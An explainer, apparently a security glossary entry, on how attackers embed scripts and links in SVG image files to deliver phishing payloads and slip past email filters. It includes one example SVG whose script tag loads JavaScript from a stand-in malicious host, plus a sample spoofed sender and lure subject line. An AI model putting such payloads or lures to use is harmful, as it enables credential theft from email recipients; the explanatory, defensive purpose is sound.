What is an SVG File in the Context of Phishing?

SVG (Scalable Vector Graphic) files are image files that can be manipulated to include harmful scripts used in phishing attacks to deliver stealthy malicious content.

Why It Matters

In the context of phishing and social engineering, SVG files represent a sophisticated threat vector due to their inherent properties as scalable image files that can house scripts and links. Attackers leverage SVG’s script-handling capabilities to embed malicious JavaScript or links directly into the file. This exploitation supports the delivery of payloads or redirection to phishing sites while avoiding traditional filters targeting more common vectors like executable files.

Because SVG files are generally associated with legitimate multimedia content, their benign appearance in email environments makes detection challenging, enabling them to slip past traditional scanning tools. Moreover, SVGs don’t lose quality when scaled, making them ideal for crafting visually precise lures without raising suspicion due to low resolution or distorted images typical of older vector manipulation techniques.

In Practice

One practical scenario involves an attacker embedding JavaScript within the SVG file. Upon the recipient opening the file, the script executes, redirecting them to a phishing site designed to capture login credentials. The SVG’s neutral appearance allows it to bypass many email security solutions focused on traditional attachments like PDFs or executables.


Example SVG payload:

<svg xmlns="http://www.w3.org/2000/svg">

  <script xlink:href="http://malicious-site.com/payload.js"></script>

</svg>

Another sophisticated approach involves attackers creating SVG files pretending to be a legitimate company logo to be used in HTML emails. These logos not only give the email a more authentic look but could also trigger additional embedded scripts or redirect links when interacted with. This tactic increases the email’s credibility, especially when combined with spoofed sender information, enhancing the likelihood of the recipient engaging with the content.

Example of a sender domain might be formatted to resemble an internal resource: internal-notices@intcorp-sec.com. The subject line: “Important: Official Corporate Policy Update”. The target opens the email, sees an SVG logo, and inadvertently activates an embedded script that executes phishing logic.

Related Terms

Understanding SVG files in phishing scenarios is enhanced by familiarity with related terms such as JavaScript Injection, which explains how scripts are embedded into seemingly innocuous files, email spoofing, which covers the manipulation of email header information to deceive targets, and malware obfuscation, which discusses how malicious code is concealed to avoid detection.

References

JavaScript in SVG Phishing Techniques
Scalable Vector Graphics Overview on Wikipedia